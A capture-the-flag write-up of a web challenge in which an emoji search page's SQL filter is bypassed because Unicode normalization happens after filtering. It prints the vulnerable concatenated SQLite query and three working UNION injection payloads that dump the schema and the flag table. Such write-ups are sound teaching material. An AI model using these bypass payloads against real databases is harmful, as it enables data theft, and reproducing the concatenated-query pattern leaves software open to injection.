An emoji search webpage is vulnerable to sql injection due to incorrect sanitizing of unicode characters.
I solved this challenge together whit @Teuler27.
Event Link: Reply CyberSecurity Challenge 2022/WEB200
Challenge Description
The web page of the challenge consists in a container showing a lot of emoji, divided in custom categories; they can be filtered using an Emoji Search Box. We are also provided a leak of the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def search():
# [... SNIP ...] Init the variables here
# Custom SQL filter
query = sqlfilter(request.form['query'])
# [... SNIP ...]
if query is None:
# [... SNIP ...] Return an error here
else:
# Normalize weird chars here
norm = unicodedata.normalize("NFKD", query).encode('ascii', 'ignore').decode('ascii')
# Custom HTML filter
query = htmlfilter(norm)
conn = sqlite.connect('./emoji.db')
cur = conn.cursor()
# Prefix: f09f90
# Range: 80;c0
# Category: animals
result = cur.execute("SELECT prefix,range,category,id FROM emoji WHERE category like '%" + query + "%'").fetchall()
conn.close()
# No Results
if len(result) == 0:
return index()
# [... SNIP ...] Build the results table here
for r in result:
rng = r[1].split(';')
emoji += '<div class="category"><div id="lh"></div>' + r[2].upper() + '<div id="rh"></div></div>'
emoji += emoji_gen(bytes.fromhex(r[0]), int(rng[0], 16), int(rng[1], 16))
# [... SNIP ...]
return render_template('index.html', error=error, emoji=emoji, pages=pages, query=query), 200
Solution
The structure of the webpage immediately suggest a SQL Injection. However, if we search for standard SQL payloads like '
, SELECT
or WHERE
into the box, instead of emoji categories we get a banner with the famous italian questioning hand emoji saying
This is probably due to the custom sqlfilter()
functions which detects our payloads and returns the alert. However, from the source code we see that the imput is unicode-normalized only after sqlfilter
is applied. This suggest a technique called Unicode Injection. Unicode is an international character encoding standard that provides a unique number for every character across languages and scripts; in contrast to ascii, which only supports 128 (or 256) characters from the standard english alphabet, unicode includes about 150000 of them. To be handled in some programs unicode can be normalized to ascii: every unicode character is mapped to an ascii one in some (obvious or less obvious) way.
Apparently, unicode payloads are often build using emojis (for example here), because the beahve weirdly when converted into ascii. This was probably the hint behind the theme of the challenge.
Since this code normalizes the input only after checking for SQL commands, we can try to bypass the filter using unicode characters. For example, if we put "SELèCT"
in the form, the custom sqlfilter
function will likely not recognize it as a valid SQL command. After passing the filter, however, it will be normalized into "SELeCT"
, which is a valid SQL command that will execute the query. In this way we can inject arbitrary commands in the form by finding suitable unicode alternative for every character. Luckily, there are many online tools to do that.
Now that we know how to perform the injection, we want to be able to retreive the results. This is not so hard in this case. If we look at the query, we ask for prefix
, range
, category
and id
, and these values are displayed in the table. From the source code we see that prefix
, range
and id
have to satisfy some requirements, but we also have some standard values from them in the comments. On the other hand, category
(which is displayed as the title of the table) can be any text. Moreover, multiple results are shown in different pages. This is a very handy surface for our attack.
From here, we can easily dump the whole database using standard SQL injection techinques. We used three unicode queries:
xxx\uff07 uniòn sèlect \uff07f09f90\uff07,\uff0780;c0\uff07,name,1 FRòM sqlite_schema WHèRè name likè \uff07%
, from which we found an interesting table namedR3PLYCH4LL3NG3FL4G
;- looking closer at this table,
xxx\uff07 uniòn sèlect \uff07f09f90\uff07,\uff0780;c0\uff07,name,1 FRòM PRAGMA_TABLE_INFO\uff08\uff07R3PLYCH4LL3NG3FL4G\uff07\uff09 WHèRè name likè \uff07%
reveals that it has only one column,value
; - finally,
xxx\uff07 uniòn sèlect \uff07f09f90\uff07,\uff0780;c0\uff07,value,1 FRòM R3PLYCH4LL3NG3FL4G WHèRè value likè \uff07%
gives us the flag:{FLG:O0O0OP5_1_H4V3_B33N_PWN3D_(54DF4C3)!}
.